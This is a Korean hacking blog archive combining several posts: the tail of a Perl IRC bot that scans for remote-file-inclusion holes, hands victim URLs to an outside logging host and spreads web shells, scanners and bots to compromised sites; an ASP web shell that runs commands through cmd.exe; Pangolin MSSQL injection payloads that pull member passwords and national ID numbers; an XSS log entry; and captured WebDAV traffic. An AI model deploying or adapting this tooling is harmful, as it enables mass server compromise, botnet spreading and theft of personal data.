  my $num = 10; my $max = 6000; my $p;
  for ( $p = 0;$p <= $max; $p+=$num ) {
    my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
    my $q = bukasitus($url);
    while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
    if ( $q !~ /Next/ ) { return @daftar; }
  }
  return @daftar;
}
## ABACHO ##
sub se_abacho {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 1000; my $p = 0;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
    my $q = bukasitus($url);
    while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
    if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
    if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
  }
  return @daftar;
}
## END OF RUTIN SEARCH ENGINE ##

##[ BUG JOOMLA ]##
sub bugjoomla {
  my $mode = $_[0];
  my @bugz;
  system("lwp-download ".$joomlaz);
  system("curl -O ".$joomlaz);
  system("wget ".$joomlaz);
  open(FILE,"< joomla.txt");
  if ($mode eq "hitung") {
    my $baris = 0; my $buff;
    while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
    close FILE;
    f_hapus("joomla.txt*");
    return $baris;
  }
  else {
    while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
    close(FILE);
    f_hapus("joomla.txt*");
    return @bugz;
  }
}

##[ MILW0RM ]##
sub milw0rm {
  my ($chan,$key) = @_;
  my $max = 10; my $i;
  #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
  my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
  irc_msg($chan," [milw0rm.com]9 $key ");
  while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
    $i++;
    my ($exp,$judul) = ($1,$2);
    irc_msg($chan,$colz{1}." $judul http://milw0rm.com/exploits/$exp ");
    sleep(1);
    return if ($i == $max);
  }
}

##[ BERSIH DORK ]##
sub bersihdork {
  my ($chan,$dork) = @_;
  if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
    irc_msg($chan,$colz{1}." TAK CEK DLU YO.. ");
    $dork =~ s/^inurl://g;
    $dork =~ s/^allinurl://g;
    $dork =~ s/^intext://g;
    $dork =~ s/^allintext://g;
    $dork =~ s/^intitle://g;
    $dork =~ s/^allintitle://g;
  }
  return $dork;
}

##[ SORTIR LINK ]##
sub lnk_sortir {
  my @unik = ();
  my %ada  = ();
  foreach my $e ( @_ ) {
    next if $ada{ $e }++;
    push (@unik, $e);
  }
  return @unik;
}

##[ SARING LINK ]##
sub lnk_filter {
  my @unik = ();
  foreach my $url ( @_ ) {
    my $jelek = 0;
    foreach my $b ( @badlinkz ) {
      if ($url =~ /$b/) { $jelek = 1; }
    }
    if ($jelek == 0) { push (@unik, $url); }
  }
  return @unik;
}

##[ SUBLINK ]##
sub lnk_sub {
  my $link = $_[0];
  my (@links,$path);
  my ($host,@paths) = split(/\//,$link);
  $host .= "/";
  push (@links,$host);
  foreach my $e (@paths) {
    if ($e) {
      $path .= $e."/";
      my $sublink = $host.$path;
      push (@links,$sublink);
     }
  }
  return @links;
}

##[ INFO OS ]##
sub info_os {
  my $url = $_[0];
  my @info;
  my $h  = bukasitus($url.$fx29id2."??");
  my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
  while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
  while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
  while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
  while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
  while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
  while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
  while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
  while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
  while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
  push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  return @info;
}

##[ SAFEMODE INFO ]##
sub safemode {
  my ($type,$chan,$situs,$bug,$engine) = @_;
  my $safemode; my $vurn; my $sb; my $spreaded;
  if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."".$fx29sh."?"; }
  else { $vurn = $situs; $sb = $vurn; }
  my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
  if ($safe =~ /OFF/) { $safemode = "OFF"; } elsif ($safe =~ /ON/) { $safemode ="ON"; } else { $safemode ="0-"; }
  if ($disfunc) { $disfunc = "[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
  if ($perm =~/W/) { $perm = "$perm"; } else { $perm = "$perm"; }
  my $S1 = " [".$safemode."][$os]0[ $sb 0]";
  my $S2 = " [Uname]0[ $uname ] [User]0[ $user / $uid ] [Server]0[ $server ] ";
  my $S3 = " [Dir]0[ $dir $perm 0] [HDD]0[0 $hdd 0] $disfunc ";
  if ($type == 1) {
    irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
    ##[ SPREADING ]##
    bukasitus("http://uaedesign.com/xml/logz/loggerz.php?&safe=".$safe."&teks=".urlen($vurn));
    if ($spreadconf{shellz} == 1) {
      my $q = bukasitus($vurn.$spread."?&modez=shellz");
      if ($q =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); }
      $spreaded = "shellz ";
    }
    if ($spreadconf{scannerz} == 1) {
      bukasitus($vurn.$spread."?&modez=scannerz");
      $spreaded .= "scannerz ";
    }
    if ($spreadconf{botz} == 1) {
      bukasitus($vurn.$spread."?&modez=botz");
      $spreaded .= "botz ";
    }
    if ($spreadconf{psybnc} == 1) {
      bukasitus($vurn.$spread."?&modez=psybnc");
      $spreaded .= "psybnc ";
    }
    irc_msg($chanx," [Spreadz]0[ $spreaded 0] ");
    sleep($conf{sleepz});
    irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
  }
  irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
}

##[ CEK SHELL ]##
sub cek_shell {
  my ($chan,$nick,$situs) = @_;
  my $q = bukasitus($situs.$fx29id."?");
  print $q;
  if ( $q =~ /FeeLCoMz/ ) { safemode(2,$chan,$situs,"",""); }
  else { irc_msg($chan,$nick.", WEW JELEK BENER!!!"); }
}

##[ CEK RESPON ]##
sub cek_respon {
  my $chan = $_[0];
  my ($q1,$q2,$q3) = (bukasitus($fx29id),bukasitus($fx29id2),bukasitus($fx29sh));
  my ($rid,$rid2,$rsh,$stat);
  if ( $q1 =~ /Fx29ID/ ) { $rid = "0,1MANTAP"; $stat = 1; } else { $rid = "0,1JELEK!"; $stat = 0; }
  if ( $q2 =~ /Fx29ID/ ) { $rid2 = "0,1MANTAP"; $stat += 1; } else { $rid2 = "0,1JELEK!"; $stat += 0; }
  if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "0,1MANTAP"; } else { $rsh = "0,1JELEK!"; }
  irc_msg($chan,$colz{1}."Fx29ID: $rid 7Fx29ID2: $rid2 7Fx29Sh: $rsh".$colz{2});
  return $stat;
}

##[ CEK DORK ]##
sub cek_dork {
  my $dork = $_[0];
  foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
  return 0;
}

##[ CEK BUG ]##
sub cek_bug {
  my $bug = $_[0];
  foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
  return 0;
}

##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
  my ($nf,$hc) = @_;
  my $fh;
  open( $fh, ">>", $nf );
  my @slink = lnk_sub($hc);
  foreach my $s (@slink) { print $fh "$s\n"; }
  close $fh;
}
sub f_simpan2 {
  my ($nf,$isi) = @_;
  my $fh;
  open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
  my ($nf,$isi) = @_;
  my $fh;
  open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}

##[ HTTP QUERY ]##
sub bukasitus {
  my $url = $_[0];
  my $request = HTTP::Request->new(GET => $url);
  my $ua  = LWP::UserAgent->new;
  $ua->timeout($conf{timeout});
  $ua->agent('Mozilla/5.0');
  my $response = $ua->request($request);
  if ($response->is_success) { return $response->content; }
  else { return $response->status_line; }
}
sub bukasitus2 {
  my $url = $_[0];
  my $ua  = LWP::UserAgent->new;
  $ua->timeout($conf{timeout});
  $ua->agent('Mozilla/5.0');
  my $response = $ua->get($url);
  if ($response->is_success) { return $response->content; }
  else { return $response->status_line; }
}
sub bukasitus3 {
  my $url = $_[0];
  my $host  = $url;
  my $query = $url;
  my $isi; my $kirim;
  my $uagent  = "Mozilla/5.0";
  $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
  $query =~ s/$host//;
  eval {
    my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
    $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
    print $sock $kirim;
    my @r = <$sock>;
    $isi = "@r";
    close($sock);
  };
  return $isi;
}

##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
sub urlen {
  my $str = $_[0];
  #$str =~ s/\+/\%2B/g;
  $str =~ s/ /\+/g;
  $str =~ s/@/\%40/g;
  $str =~ s/\//\%2F/g;
  $str =~ s/&/\%26/g;
  $str =~ s/\"/\%22/g;
  $str =~ s/,/\%2C/g;
  $str =~ s/\\/\%5C/g;
  $str =~ s/:/\%3A/g;
  $str =~ s/\[/\%5B/g;
  $str =~ s/\]/\%5D/g;
  $str =~ s/\?/\%3F/g;
  $str =~ s/\=/\%3D/g;
  $str =~ s/\|/\%7C/g;
  return $str;
}
sub urlde {
  my $str = $_[0];
  $str =~ s/\+/ /g;
  $str =~ s/\%2B/\+/g;
  $str =~ s/\%40/@/g;
  $str =~ s/\%2E/\./g;
  $str =~ s/\%2F/\//g;
  $str =~ s/\%26/&/g;
  $str =~ s/\%22/\"/g;
  $str =~ s/\%2C/,/g;
  $str =~ s/\%5C/\\/g;
  $str =~ s/\%3A/:/g;
  $str =~ s/\%5[B|b]/\[/g;
  $str =~ s/\%5[D|d]/\]/g;
  $str =~ s/\%3F/\?/g;
  $str =~ s/\%3D/\=/g;
  $str =~ s/\%7C/\|/g;
  return $str;
}
sub cryptz { return crypt($_[0],"feelcomz"); }

##[ TRIMMER CRLF ]##
sub trimrn {
  my $str = $_[0];
  if (!$str) { return ""; }
  $str =~ s/\r// if ($str);
  $str =~ s/\n//;
  return $str;
}

##[ INFO BOT ]##
sub bot_info   {
  my $chan   = $_[0];
  my $hlogo  = "0,1 [i]9 ";
  my $uname  = `uname -a`;
  my $uid    = `id`;
  my $uptime = `uptime`;
  my @info   = (
  $hlogo."revo Scanner ",
  $hlogo."Written under 0,1ActivePerl 5.8.8 Build 820 9by 11,1REVOCREW (REVOCREW Community) ",
  $hlogo."Uname:0 $uname ",
  $hlogo."Uid:0 $uid ",
  $hlogo."Uptime:0 $uptime ",
  );
  foreach my $m(@info) { irc_msg($chan,$m); }
}

##[ HELP BOT ]##
sub bot_help {
  my ($chan,$level) = @_;
  my $hsepz = "0,1 [!] ";
  my $hlogo = "0,1 [!] ".$cmdpre;
  my @help; my $i;
  my @hlp1 = (
  $hsepz."EMPIXCREW REVO Scanner $versi Help ",
  $hlogo."scan|scan2 <bug> <dork> 0? Memulai eNCUkAn | scanner & Eksploit RFI ",
  $hlogo."milw0rm <keywords> 0? Mencari daftar bug di milw0rm ",
  $hlogo."respon 0? Cek Respon & Injector RFI ",
  $hlogo."urlen|urlde <teks> 0? Encoder/Decoder URL ",
  $hlogo."cek <target> 0? Cek RFI shell ",
  $hlogo."info 0? Informasi bot ",
  $hlogo."auth <password> 0? Login ke bot ",
  );
  my @hlp2 = (
  $hsepz."User Commands: ",
  $hlogo."joomla <bug> <dork> 0,1? Memulai scanner & Eksploit RFI Joomla ",
  $hlogo."hitung <jumlah> 0,1? Mengganti hitungan proses eksploitasi ",
  $hlogo."cryptz <password> 0,1? Membuat password yg terenkripsi ",
  $hlogo."join|part <channel> 0,1? Join/Part channel ",
  $hlogo."nick <nick> 0? Ganti nick bot ",
  $hlogo."logout 0?15 Logout dari bot ",
  );
  my @hlp3 = (
  $hsepz."Admin Commands: ",
  $hlogo."crespon[1/2]|cshell|cspread <url> 0? Mengganti respon/injector/spread/spread2 RFI ",
  $hlogo."rfipid <perintah> 0,1? Mengganti RFI PID ",
  $hlogo."spy 0? Menampilkan konfigurasi Spy ",
  $hlogo."spyhost <your chan> 0,1? Channel host buat spy ",
  $hlogo."spychan <chan> 0,1? Channel yang akan di spy ",
  $hlogo."spyword <regex> 0,1? Teks yg akan di spy ",
  $hlogo."spy[found|show|clear] 0,1? Jumlah/Tampilkan/Bersihkan teks yg telah ditemukan ",
  $hlogo."raw <perintah> 0,1? Perintah Raw IRC ",
  $hlogo."cmd <perintah shell> 0,1? Mengeksekusi perintah di shell ",
  $hlogo."eval <kode perl> 0,1? Mengeksekusi kode perl ",
  $hlogo."quit 0,1? Quit dari IRC ",
  $hlogo."keluar 0,1? Quit dari IRC & Matikan semua proses Perl (killall)",
  );
  if    ( $level == 1 ) { push(@help, @hlp1); }
  elsif ( $level == 2 ) { push(@help,@hlp2); }
  elsif ( $level == 3 ) { push(@help,@hlp3); }
  foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
}

##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan," ".$se." ".$totr."0 ".$clr." "); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }

##[ PERINTAH RAW IRC ]##
sub irc_raw  { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :empixcrew$versi ENCUK      "); }
sub irc_msg  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
sub irc_ntc  { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }

##########################
##[ FeeLCoMz Community ]##
##########################

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
irc서버올리기  (0) 2010.03.04
Posted by applicationlayer
:
w3af로 파일업로드 익스플로잇을 실행시키려니 계속 먹히지가 않아서 w3af에서 사용하는 웹쉘을 약간 수정하였다.
asp환경인데 aspx용 코드도 있고해서 손을 좀 보았는데 내가 개발을 해본적이 있어야지-_- 그냥저냥 돌아가니 됐지 머;;;
이번이슈를 떠나서 w3af 진심 구리다 -_- 버려버려

<HTML>
<link rel="stylesheet" type="text/css" href="style.css">

<BODY topmargin="2" leftmargin="2">
<PRE>                                                        
<%
  ' --------------------o0o--------------------
  ' File: CmdAsp.asp
  ' Author: Maceo <maceo @ dogmile.com> (some changes made by Dinis Cruz (dinis@ddplus.net))
  ' Release: 2000-12-01
  ' OS: Windows 2000, 4.0 NT
  ' -------------------------------------------

  'Dim oScript
  'Dim oScriptNet
  'Dim oFileSys, oFile
  Dim szCMD, szTempFile

'  On Error Resume Next

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request("CMD")
  If (szCMD = "") Then
    Response.Write("15825b40c6dace2a" & "7cf5d4ab8ed434d5")
  Else
    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = Request.ServerVariables("APPL_PHYSICAL_PATH") & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
'    response.write(szTempFile)
'    response.end
Set    oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    ' -- Read the output from our command and remove the temp file -- '
'    On Error Resume Next
    Response.Write (replace(Server.HTMLEncode(oFile.ReadAll),vbnewline+vbnewline,vbnewline))
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</PRE>
</BODY>
</HTML>

'webhxxx > webshell' 카테고리의 다른 글

최신 웹쉘 동향php  (0) 2012.01.09
Posted by applicationlayer
:

Pangolin(MSSQL)

webhxxx/weblog 2009. 12. 18. 17:22 |
-Information
--Version : ' and @@version=1--
--Db Name : ' and db_name()=0--
--Server Name : ' and @@servername=0--
--Host Name : ' and host_name()=0--
--System User : ' and system_user=0--
--Current User : ' and user=0--
--Privilege : ' and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(1))+char(124)=1--
--Databases :
' and 0=(select top 1 cast([name] as nvarchar(256))+char(94)+cast([filename] as nvarchar(256)) from(select top  1 dbid,name,filename from [master].[dbo].[sysdatabases] order by [dbid]) t order by [dbid] desc)--
' and 0=(select top 1 cast([name] as nvarchar(256))+char(94)+cast([filename] as nvarchar(256)) from(select top  2 dbid,name,filename from [master].[dbo].[sysdatabases] order by [dbid]) t order by [dbid] desc)--
.
.
.
동일한 응답이 나오면 중단

--Drivers :
'%20;drop%20table%20pangolin_test_table;--
'%20;create%20table%20pangolin_test_table(name%20nvarchar(255),low%20nvarchar(255),high%20nvarchar(255),type%20nvarchar(255));--
'%20;insert%20pangolin_test_table%20exec%20master.dbo.xp_availablemedia;--
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([type]%20as%20nvarchar(4000))%20from(select%20top%20%201%20[name],[low],[high],[type]%20from%20pangolin_test_table%20group%20by%20[name],[low],[high],[type]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([type]%20as%20nvarchar(4000))%20from(select%20top%20%202%20[name],[low],[high],[type]%20from%20pangolin_test_table%20group%20by%20[name],[low],[high],[type]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([type]%20as%20nvarchar(4000))%20from(select%20top%20%203%20[name],[low],[high],[type]%20from%20pangolin_test_table%20group%20by%20[name],[low],[high],[type]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20;drop%20table%20pangolin_test_table;--

--LocalGropus :
'%20;drop%20table%20pangolin_test_table;--
'%20;create%20table%20pangolin_test_table(name%20nvarchar(255),description%20nvarchar(4000));--
'%20;insert%20pangolin_test_table%20exec%20master.dbo.xp_enumgroups;--
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([description]%20as%20nvarchar(4000))%20from(select%20top%20%201%20[name],[description]%20from%20pangolin_test_table%20group%20by%20[name],[description]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([description]%20as%20nvarchar(4000))%20from(select%20top%20%202%20[name],[description]%20from%20pangolin_test_table%20group%20by%20[name],[description]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([description]%20as%20nvarchar(4000))%20from(select%20top%20%203%20[name],[description]%20from%20pangolin_test_table%20group%20by%20[name],[description]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
>
' ;drop table pangolin_test_table;--
' ;create table pangolin_test_table(name nvarchar(255),description nvarchar(4000));--
' ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--
' and 0=(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)----
' and 0=(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  2 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)----
' and 0=(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  3 [name],[description] from pangolin_test_table group by


-Data
--Tables(조회)
' and (select cast(count(1) as varchar(10))+char(94) from [sysobjects] where xtype=char(85) and status!=0)=0--
sysobjects의 레코드중 xtype이 u인 갯수 (사용자테이블 갯수)

' and (select top 1 cast(name as varchar(256)) from(select top 1 id,name from [sysobjects] where xtype=char(85) and status!=0 order by id) t order by id desc)=0--
' and (select top 1 cast(name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=0 order by id) t order by id desc)=0--
' and (select top 1 cast(name as varchar(256)) from(select top 3 id,name from [sysobjects] where xtype=char(85) and status!=0 order by id) t order by id desc)=0--
테이블명 추출

--Columns
' and (select top 1 cast(id as nvarchar(20))+char(124)  from [sysobjects] where name=0x6d0065006d00620065007200)=0--
테이블명을 헥사로 변경(우회)하여 id값을 추출 (from sysobjects)

' and (select cast(count(1) as varchar(10))+char(94) from [syscolumns] where id=549576996)=0--
id값을 가진 모든 column갯수 추출 (from syscolumns)

' and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [syscolumns] where id=549576996 order by colid) t order by colid desc)=0--
각 column의 이름 추출 (from syscolumns)
.
.
.
' and (select top 1 cast(name as varchar(8000)) from (select top 2 colid,name from [syscolumns] where id=549576996 order by colid) t order by colid desc)=0--
계속 추출

--Datas
' and (select cast(count(1) as varchar(8000))+char(94) from [member] where 1=1)=0--
해당 테이블(member)의 레코드 수 추출

' and (select top 1
isnull(cast([mem_id] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_pwd] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_name] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_jumin] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_zip] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_addr1] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_addr2] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_tel] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_hp] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_email] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_wtday] as nvarchar(4000)),char(32))
from [member] where 1=1 order by [mem_id])=0--
각 레코드의  필드값 알아내기

이어서..
Posted by applicationlayer
:

웹 방화벽장비에 남은 로그.

XSS공격명으로 기록이 되어있다.

 

GET /XXX.html?xxx=1&xxx=110&xxx=1602&xxx=25&xxx=301&xxx=xxx&xxx=13%22%3E%3Cscript%3Eself.location=String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109);%3C/script%3E HTTP/1.1
Host: www.xxx.xx.xx
Connection: Keep-alive
Accept: */*
User-Agent: Mediapartners-Google
Accept-Encoding: gzip,deflate

 

변환

"><script>self.location=String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109);</script>

 

Mediapartners-Google에 대한 정보는

http://www.internetofficer.com/web-robot/adsense/

에서 찾을 수 있다.

 

 

'webhxxx > weblog' 카테고리의 다른 글

안드로이드 user-agent  (0) 2010.05.11
허니팟  (0) 2010.03.14
Zeroboard4 코드실행 취약점을 이용한 웹쉘공격  (0) 2010.03.09
Pangolin(MSSQL)  (0) 2009.12.18
[webdav]웹 폴더서비스 이용시 발생하는 트래픽  (0) 2009.09.30
Posted by applicationlayer
:
PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJ4AAAAYABgAtgAAAB4AHgBIAAAAGgAaAGYAAAAeAB4AgAAAAAAAAADOAAAABYKIogUBKAoAAAAPTgBPAFcAQwBPAE0ALQBRADYAVABRADMARgBUAFkAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBGAFUASgBJAFQAUwBVAC0ANAA3ADcANwA4AEIARQDsnDdeAQV/SQAAAAAAAAAAAAAAAAAAAACh8p+t4T4+XdZdtsV4s8tj/GcgVyT3lr0=


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 1
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 1
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJ4AAAAYABgAtgAAAB4AHgBIAAAAGgAaAGYAAAAeAB4AgAAAAAAAAADOAAAABYKIogUBKAoAAAAPTgBPAFcAQwBPAE0ALQBRADYAVABRADMARgBUAFkAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBGAFUASgBJAFQAUwBVAC0ANAA3ADcANwA4AEIARQD5Ny27vKTK/wAAAAAAAAAAAAAAAAAAAAARj63LuPEW89D65dh5MzMarSXKO+g/NAk=
Content-Length: 489

<?xml version="1.0" encoding="UTF-8" ?>
<a:propfind xmlns:a="DAV:" xmlns:b="urn:schemas-microsoft-com:datatypes">
<a:prop>
<a:name/>
<a:parentname/>
<a:href/>
<a:ishidden/>
<a:isreadonly/>
<a:getcontenttype/>
<a:contentclass/>
<a:getcontentlanguage/>
<a:creationdate/>
<a:lastaccessed/>
<a:getlastmodified/>
<a:getcontentlength/>
<a:iscollection/>
<a:isstructureddocument/>
<a:defaultdocument/>
<a:displayname/>
<a:isroot/>
<a:resourcetype/>
</a:prop>
</a:propfind>


OPTIONS / HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive


OPTIONS /abcde/%EC%9C%A0 HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive


OPTIONS /abcde/%EC%9C%A0 HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==


OPTIONS /abcde/%EC%9C%A0 HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive
